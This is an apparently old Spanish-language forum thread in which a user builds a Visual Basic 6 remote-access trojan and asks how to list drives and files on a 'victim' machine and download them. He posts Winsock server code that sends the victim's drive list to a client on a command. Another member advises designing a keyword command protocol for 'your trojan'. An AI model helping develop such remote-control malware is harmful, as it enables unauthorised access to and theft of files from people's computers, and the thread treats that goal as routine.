mi bixo parte 2 vb6

[Psyke1]

hola amigos, me gustaria saber como puedo ver los drives de mi victima, seleccionar el archivo y descargarlo, gracias a to2!!!

[ninfas]

los drives

los driver?  Amigo te recomiendo que busques y leas mucho 

[Psyke1]

creo q me explike bn, ver los archivos de mi victima, seleccionar uno, y descargarlo...

gracias

[seba123neo]

los drives

Amigo te recomiendo que busques y leas mucho  

digo lo mismo, *PsYkE1*  estas haciendo preguntas que se encuentran facil buscando un poco en internet...y los titulos de los post no son correctos, debes leer las normas del foro tambien, tus ultimos 4 post son de lo mismo y los titulos estan mal., un post mas asi y te lo voy a tener que borrar.

saludos.

[Nanoc]

Forma dificil: Usa las apis para obtener la lista y envialas por el socket

Forma facil: Usa los controles dirlistbox y filelistbox para obtener la lista

[Psyke1]

ok voy a probar primero con la facil...
garcias

respecto a la dificil seria algo asi, no?
http://www.recursosvisualbasic.com.ar/htm/listado-api/api-43.htm

[Snopk]

ok voy a probar primero con la facil...
garcias

respecto a la dificil seria algo asi, no?
http://www.recursosvisualbasic.com.ar/htm/listado-api/api-43.htm

No, se refiere a usar Apis para listar los directorios, ese ejemplo usa controles para listarlos.

[Nanoc]

Exactamente, ese ejemplo usa los controles que mencione antes.

PD: Leandro ascierto XD te lo encuentras por todas partes con sus codes VB XD

[Psyke1]

yo sigo hacienolo por la forma facil, mira:

puse en el sever:
*drivelistbox
*dirlistbox
*flielistbox

y en el client:
*combobox
*treeview
*listbox

bien, gracias a este code he conseguido q me envie el contenido del drivelistbox del server al combobox del client:

SERVER

Código [Seleccionar] Expandir


Private Sub pausa()

    Dim comenzar
    Dim controlar

    comenzar = Timer

    Do Until controlar >= comenzar + 0.01
        controlar = Timer
        DoEvents
    Loop

End Sub

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
       
    Dim datos As String
    WS.GetData datos
   
    Select Case datos
   
    Case "getdrives"
    Dim x As Integer
    For x = 0 To Drive1.ListCount
    WS.SendData Drive1.List(x)
    pausa
    Next

    End Select


Bien, ahora mi duda esta en como mando el contenido del dirlistbox del server al treeview del client, se que he de hacer algo por el estilo:

CLIENT:

Código [Seleccionar] Expandir


Private Sub Combo1_Change()

    WS.SendData Combo1.Text
   
End Sub

SERVER:

Código [Seleccionar] Expandir


Private Sub WS_DataArrival(ByVal bytesTotal As Long)
       
    Dim datos As String
    WS.GetData datos
   
    Select Case datos
   
    Case "changedrive"
   
    Drive1.Path = datos

    Dim i As Integer
    For i = 0 To Dir1.ListCount
    WS.SendData Dir1.List(i)
    pausa
    Next

    End Select

todo ello teniendo en cuenta que antes puse:

Código [Seleccionar] Expandir


SERVER:

Private Sub Dir1_Change()
   
    File1.Path = Dir1.Path
   
End Sub

Private Sub Drive1_Change()
    On Error Resume Next
    Directorios.Path = Drive1.Drive
   
End Sub

agradezco la ayuda!!!!!!!

[Nanoc]

Primero: utiliza listbox para listar tanto los directorios como los ficheros, lo mas aconsejable es que utilizes un bucle para ir agregando cada uno de los directorios a una variable de tipo string separandolos por comas, luego no tienes mas que enviar esa string y en el cliente utilizar la funcion split para separar la cadena por comas y asi tener un array con cada uno de los directorios por separado.

Ten en cuenta que para crear cualquier tipo de aplicacion de red es imprescindible crear un protocolo propio, es decir, como va a saber tu troyano que es lo que tiene que hacer con los datos que le envias, ejemplo:

para listar directorios puedes enviar un par de letras clave, por ejemplo "lf" y separando por comas los parametros (usas la funcion split para volver a separarlos") le indicas otras opciones que valla a necesitar el server para ejecutar la accion deseada, lo mismo para el cliente.

NO ES RECOMENDABLE que el cliente distinga la orden a realizar a partir de lo que el sabe, es decir:

El cliente envia la orden de listar directorios y ya asume que lo siguiente que reciba va a ser la lista de directorios. Como te he dicho antes, envia letras clave para distinguir la orden, te digo por experiencia propia que luego se producen muchas confusiones al usarlo, las cosas no funcionan siempre igual en local que en remoto, y aun asi hay que intentar que los programas sean capaces de funcionar correctamente en cualquier situacion

Espero haberte ayudado.